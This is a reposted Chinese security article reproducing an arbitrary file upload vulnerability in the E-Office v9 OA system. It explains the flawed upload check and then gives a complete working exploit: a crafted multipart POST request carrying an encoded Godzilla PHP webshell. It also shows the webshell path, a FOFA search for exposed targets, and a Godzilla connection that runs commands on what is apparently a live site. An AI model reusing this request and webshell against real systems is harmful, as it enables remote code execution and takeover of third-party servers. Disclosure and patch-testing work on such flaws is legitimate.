6

某 E-Office v9 任意文件上传漏洞复现实战

 2 years ago
source link: https://www.secpulse.com/archives/172959.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

某 E-Office v9 任意文件上传漏洞复现实战

作者:0x6270

来源:某 E-Office v9 任意文件上传漏洞复现实战 - 火线 Zone (huoxian.cn)

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

本文章中的漏洞均为公开的漏洞收集,如果文章中的漏洞出现敏感内容产生了部分影响,请及时联系作者,望谅解。

一、漏洞原理

本次复现漏洞为未公开漏洞 CNVD-2021-49104,该漏洞是由于 e-office 其上传模块中用户输入部分未能妥善处理,攻击者可以构造恶意的上传数据包,实现任意代码执行。

下图为漏洞相关代码段

源代码源代码.png

图1 漏洞代码段

存在漏洞的源代码位置,主要是源于 uploadType 参数设为 eoffice_logo 时,对文件没有校验,导致任意文件上传。

二、漏洞复现实战

1.信息收集

FOFA收集涉及E-office的Web站点

FOFA信息收集FOFA信息收集.png

图2 FOFA信息收集

2.选取复现目标

以XX网站为例

OA登录OA登录.png

图3 OA E-office 界面

3.构造POC

Burpsuite进行抓包,改包。数据包构造为

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 127.0.0.1:7899
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348
Content-Length: 193
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4

--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
   for($i=0;$i<strlen($D);$i++) {
       $c = $K[$i+1&15];
       $D[$i] = $D[$i]^$c;
   }
   return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
   $data=encode(base64_decode($_POST[$pass]),$key);
   if (isset($_SESSION[$payloadName])){
       $payload=encode($_SESSION[$payloadName],$key);
       if (strpos($payload,"getBasicsInfo")===false){
           $payload=encode($payload,$key);
       }
 eval($payload);
       echo substr(md5($pass.$key),0,16);
       echo base64_encode(encode(@run($data),$key));
       echo substr(md5($pass.$key),16);
   }else{
       if (strpos($data,"getBasicsInfo")!==false){
           $_SESSION[$payloadName]=encode($data,$key);
       }
   }
}

--e64bdf16c554bbc109cecef6451c26a4--

burp改包.png

burp改包

图4 Burpsuite改包

结合burp响应情况,回显为文件名,成功上传文件logo-eoffice.php。

4.验证漏洞并getshell

进行上传操作后,访问以下路径 http://???/images/logo/logo-eoffice.php

访问文件路径访问文件路径.png

图5 访问文件路径

使用工具哥斯拉,进行连接shell

连接shell连接shell.png

图6 哥斯拉getshell

进行命令执行,可以正常执行,成功getshell

命令执行命令执行.png

图7 命令执行

本文章简要介绍了该漏洞的漏洞原理并完成了漏洞复现的实战。感谢小黑师傅的友情帮助

本文作者:0x6270

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/172959.html


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK